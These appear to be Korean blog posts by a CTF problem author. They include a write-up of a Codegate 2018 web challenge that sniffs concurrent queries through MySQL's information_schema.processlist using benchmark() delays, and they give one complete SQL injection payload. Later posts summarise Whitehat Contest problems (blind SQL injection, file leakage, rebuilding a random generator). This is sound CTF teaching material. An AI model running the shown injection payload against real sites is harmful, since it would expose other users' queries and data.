점점 복잡해지는것이 느껴진다. benchmark의 횟수를 2회로 줄이고 확인하면 result에 processlist의 컬럼 중, info의 값을 계속 이어붙이도록 했다. 보기 편하도록 개행과 탭을 넣었지만, 실제 환경에서는 공격자가 알아볼 수만 있으면 되므로 크게 문제 없는 부분이다. 중요한것은, 내가 이 쿼리를 실행중일때는 다른 쿼리문들도 이 변수에 값이 저장되어 확인 할 수 있다는 점에 있다.

사용자가 많고 동시다발적으로 처리되는 대형 포털사이트 같은 경우엔 딱히 지연을 주지 않아도 몇몇개는 운좋게 묻어 나올것이다. 하지만 일반 기업과 같은 곳은 그렇지 못할 확률이 상당히 크다. 그렇다면 의도적으로 지연시킬 수 밖에 없는데, 이때 어떻게 해야 할 것인가에 대해 몇가지 꼼수가 떠오르는 사람이 있을것이다.

1. 일단 benchmark의 횟수를 늘린다. 결과값이 수천만개가 엮여 나오더라도 내가 원하는 정보만 있으면 된다.
2. benchmark의 횟수를 크게 늘리지 않고 sleep(1)을 통해 해결한다.

각각의 장단점이 있다.
1. benchmark횟수를 늘린다면 좋은 시간지연이 되겠지만, 나오는 결과값을 감당할수 없을만큼 값이 거대해진다. 물론 이 경우 where 조건절을 조금만 활용하는 것으로 해결 할 수 있다.

내가 임의의 변수에 나만의 고유문자열(여기서는 Sakuya)를 넣고 info에 고유문자열이 들어가는 쿼리는 제외해 버리면된다.

2. sleep(1)을 줄 경우 경쟁관계에서 불리해 지기만 하니 별로 필요가 없다 -(From rubiya)

3.3 Sniffing

취약한 게시판 소스를 하나 뚝딱뚝딱 하도록 하자.

그리고 이 게시판 소스를 활용해서


uniqid+mt_rand가 포함된 임시테이블의 이름, 컬럼명, 값을 알아 낼수 있는지에 대한 테스트를 진행하자.


위에서 설명한 것을 토대로 Injection Query를 작성하도록 하자.

'),('answer','sakuya',(SELECT a.b FROM (SELECT @dummy, @query:='',@tmp:=0x20, benchmark(500000,(@tmp:= (SELECT Group_concat(info) FROM information_schema.processlist WHERE info not like '%dummy%' or sleep(0)))or(IF((@query not like concat('%',@tmp,'%')),@query:=concat(@query,@tmp,0x0a),0))), @query`b`)`a`))#

IF 이하 구문은 @tmp에 저장된 processlist의 결과를 어떻게 붙여 나갈것인가에 대한 쿼리문으로 이해하면 좋다. 

해당 쿼리문의 결과로 성공적으로 값을 얻어온 것을 볼 수 있다. 이를 입력해주면 문제는 clear 하게 되는것은 덤.


4. 결론 및 팁

이 방법은 prestatement 를 사용하는 SQL의 경우 먹히지 않는다는것을 확인했다. 이러한 경우에 다른 방법이 필요할 것으로 보이며, 해당 Query또한 막상 보면 너무 복잡하고 쓸모없어 보이지만, 모든 지식이 그러하듯 원리를 알면 어디든 응용할수 있지 않을까?



PS. 이건 codegate2018 본선에 사용된 문제의 POC/Writeup 임미다. 참고하실분이 있으련지는 모르겠지만.. 요기있어요

exploit.py

Praise the blanket Writeup.docx


'Web' 카테고리의 다른 글

XSS TEST  (0) 2019.04.15
[TIP?] sql injection을 위한 깔끔한 코드 작성법  (2) 2018.08.21
Webhacking Study - no more BLIND  (6) 2017.04.18
SQLi.py  (0) 2016.11.02
Upload 코드의 흔한 실수  (2) 2016.03.07
Posted by IzayoiSakuya
,

이번에도 미스리딩이라는 점에서 정말 반성해야 할게 많다고 느낍니다. unintend solution을 제공받고 멘탈에 금이 가네요

이미 다 지난 문제지만.. 못푸신 팀이 있다고 하셔서 라이트업 올립니다.

의도로 진행시키는 과정에서 옆길이 많은것에 대한 변명은 하지 않겠습니다.

다음엔.. 더 좋고 성숙한 문제로 찾아뵙겠습니다.

prob2_POC.py

NekoOnline Writeup.pdf


'Write_UP' 카테고리의 다른 글

2017 Whitehat Contest - Winner of Life  (0) 2017.11.01
2017 Codegate - 2D Life Write up + 출제후기  (11) 2017.02.11
2015 fetival HUST  (0) 2015.05.28
2014 홀리실드 write-up(find out, syntax highlighter)  (0) 2014.11.25
wargame.kr pwcrack  (0) 2014.11.01
Posted by IzayoiSakuya
,

유명한 대회의 2회차 출제이기도 하고, codegate와 같은 국제적인 대회가 아니라는 점을 토대로 이번엔 저번 출제보다 한결 편한 마음으로 출제 할수 있었습니다. 하나 고민되는건 문제를 만들때마다 아이디어를 어떻게 합쳐 낼 것인가, 이 아이디어를 어떻게 자연스럽게 전달 할 것인가에 대한 부분은 아직 출제 기술의 부족으로 여전히 힘든 부분이었지만, 점차 나아지리라 생각합니다.

이번 문제의 중점은 SQL injection 보다 자신에게 필요한 정보가 무엇인지 주어진 정보를 토대로 판별하는 능력이 있는가? 에 대한 물음이 더 컸다고 봅니다. 모든 문제가 그렇듯, 출제자의 의도를 파악하면 그 문제를 어떻게 접근해야 할지 길이 보입니다. 이번문제에서 왜 phpinfo를 제공했었는가, leak.tar에 들어있는 정보는 나에게 뭘 이야기 하려고 하는것인지에 대한 답을 찾았다면, 남은건 SQL injection의 필터링만 남아 있었을 뿐인, 어떻게 보면 단순한 문제였습니다.

자신이 원하는 정보를 걸러내고 획득할수 있다는 점은 웹 뿐만 아니라, 시스템, 포렌식 등에서도 중요한 요소라고 생각합니다. 또한, 팀 단위의 CTF다 보니 자신이 모르는 부분은 팀원에게 의지하는 것도 상당히 중요하다고 생각합니다. 팀을 이끄는, 흔히 말하는 캐리력 있는 포지션도 상당히 멋지다고 생각합니다. 다만, 그런 인재는 주변에 상당히 적고, 대부분은 이름이 난 사람들이죠. 그런 사람들이 없는 팀은 자기가 맡은 분야별 문제를 풀면서 모르는 것이 있으면 검색만 하다가 CTF가 끝나버리는 그런 경우도 저는 상당히 많이 겪었고, 많이 봐 왔습니다. 순수하게 한 분야의 지식만을 문제로 내는 것은 이러한 비극을 계속 되풀이하는 과정이라고 생각하였고, 출제를 할 기회가 오면 이러한 것은 꼭 막아보고 싶었습니다.

물론, codegate의 문제출제는 그런의미에서 보면 실패작이라고 생각합니다. 저희 부모님 생명연장에 큰 도움을 준 2DLIFE 문제나, 본선에 출전하신 분들은 풀어보셨을 Eagle-jump 문제 등이 그러하죠. 그런 문제를 통해서 얻을수 있는건 팀원간의 결속력이 아닌, 특정공격에 대한 더 깊은 호기심, geek한 발상, 욕 실력 정도라고 생각합니다. 순수하게 자신이 웹 분야를 잘하고 공격기법을 많이 알면 풀수 있는.. 그런 문제였습니다.

그래서 이번 문제에서는 조금 더 나아가서, 정보를 토대로 원하는 환경을 구축할수 있는가? 에 대한 질문을 던져보기로 했습니다. 웹 분야를 하고있는 여러분께서 과연 팀원과 얼마나 의사소통을 하시는지, 혹은 다른분야에 대한 관심을 가지셨는지에 대한 출제자의 설문조사 정도로 생각해 주시면 감사하겠습니다.


Write-up의 간단한 요약은 다음과 같습니다.

1. leak.tar를 통해 cron으로 돌고있는 php파일을 파악하고 mysql의 variable 세팅을 통해 /var/www/html 의 file privilege가 있다는것을 파악한다.

2. 시행착오를 통한 blind sql injection을 시도한다. (strcmp를 통한)

3. file 유출에 성공하고 이를 토대로 random generator 소스를 가져와서 환경을 구축한 후

4. 번호를 추출하여 입력


아마, 2번에 있어서 많은 시행착오가 있을것이라 생각됩니다. 본선에 낼수 없었던 이유중 하나기도 합니다.

예선에서의 많은 고통을 감내하고 본선에 진출하신분들, 축하드립니다. 본선에서 문제로 찾아뵙겟습니다.

prob1_POC.py

WinnerOfLife WriteUp.pdf


'Write_UP' 카테고리의 다른 글

2017 Whitehat Contest Final - Neko Online  (1) 2017.11.16
2017 Codegate - 2D Life Write up + 출제후기  (11) 2017.02.11
2015 fetival HUST  (0) 2015.05.28
2014 홀리실드 write-up(find out, syntax highlighter)  (0) 2014.11.25
wargame.kr pwcrack  (0) 2014.11.01
Posted by IzayoiSakuya
,

[strpr] PHP Sandbox

2017. 6. 13. 10:06

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[stypr] tofukimchi

2017. 6. 12. 21:22

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.